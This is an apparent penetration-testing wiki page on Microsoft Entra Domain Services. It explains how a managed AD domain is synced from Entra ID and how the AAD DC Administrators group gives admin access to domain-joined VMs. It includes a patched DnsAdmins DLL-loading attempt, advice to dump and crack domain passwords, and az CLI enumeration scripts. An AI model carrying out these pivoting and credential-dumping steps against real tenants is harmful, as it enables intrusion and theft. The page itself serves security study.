# Az - Microsoft Entra Domain Services

{{#include ../../../banners/hacktricks-training.md}}

## Domain Services

Microsoft Entra Domain Services allows to deploy an Active Directory in Azure without needing to manage Domain Controllers (actually you don't even have access to them).

Its main goal is to allow you to run legacy applications in the cloud that can't use modern authentication methods, or where you don't want directory lookups to always go back to an on-premises AD DS environment.

Note that in order to synchronize the users generated in Entra ID (and not synchronized from other active directories) to the AD domain service you need to **change the password of the user** to a new one so it can be synchronized with the new AD. Actually, the user isn't synchronized from Microsoft Entra ID to Domain Services until the password is changed.

> [!WARNING]
> Even if you are creating a new active directory domain you won't be able to completely managed it (unless without exploiting some misconfigurations), which means that by default for example you cannot create users in the AD directly. You create them by **synchronizing users from Entra ID.** You can indicate to synchronize all users (even those synced from other on-premise ADs), only cloud users (users created in Entra ID), or even **filter them more**.

> [!NOTE]
> In general, due to the lack of flexibity on the configuration of the new domain and the fact that ADs are usually already on-premise, this is not the main integration between Entra ID and AD, but still interesting to know how to compromise it.

### Pivoting

Members of the generated **`AAD DC Administrators`** group are granted local admin permissions on VMs that are domain-joined to the managed domain (but not in the domain controllers) because they are added into the local administrators group. Members of this group can also use **Remote Desktop to connect remotely to domain-joined VMs**, and are also members of the groups:

- **`Denied RODC Password Replication Group`**: This is a group that specifies users and groups whose passwords cannot be cached on RODCs (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: This group allows members to create Group Policies in the domain. However, its members can't apply group policies to users or group or edit existing GPOs, so it's not that interesting in this environment.
- **`DnsAdmins`**: This group allows to manage the DNS settings and was abused in the past to [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), however after testing the attack in this environment it was checked that the vulnerability is patched:

```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
    Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5
```

Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.

Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**

However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always checn the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.

> [!NOTE]
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.

### Enumeration

```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
  --url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
  --body '{
    "subscriptions": [
      "0ce1297c-9153-425d-3229-f51093614377"
    ],
    "query": "resources | where type == \"microsoft.aad/domainservices\"",
    "options": {
      "$top": 16,
      "$skip": 0,
      "$skipToken": ""
    }
  }'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
  nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
  
  for nic_id in $nic_ids; do
    subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
    
    if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
      echo "VM Name: $vm_name, Resource Group: $resource_group"
    fi
  done
done <<< "$vm_list"
```

{{#include ../../../banners/hacktricks-training.md}}
